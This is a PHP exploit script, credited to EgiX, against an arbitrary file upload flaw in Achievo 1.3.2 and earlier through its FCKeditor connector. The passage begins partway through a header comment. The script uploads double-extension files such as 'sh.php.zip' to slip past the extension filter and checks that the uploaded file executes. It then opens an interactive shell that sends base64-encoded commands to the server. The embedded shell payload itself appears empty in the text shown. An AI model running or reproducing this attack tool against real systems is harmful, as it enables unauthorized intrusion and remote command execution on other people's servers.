array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"), with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function upload() { global $host, $path; $connector = "atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php"; $file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv"); foreach ($file_ext as $ext) { print "\n[-] Trying to upload with .{$ext} extension..."; $data = "--12345\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "\r\n"; $data .= "--12345--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n"); $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("print", $html) and eregi("_code_", $html)) return $ext; sleep(1); } return false; } print "\n+--------------------------------------------------------------------+"; print "\n| Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit by EgiX |"; print "\n+--------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /achievo/\n"; die(); } $host = $argv[1]; $path = $argv[2]; if (!($ext = upload())) die("\n\n[-] Exploit failed...\n"); else print "\n[-] Shell uploaded...starting it!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nachievo-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $html); print "\n{$shell[1]}"; } else break; } ?>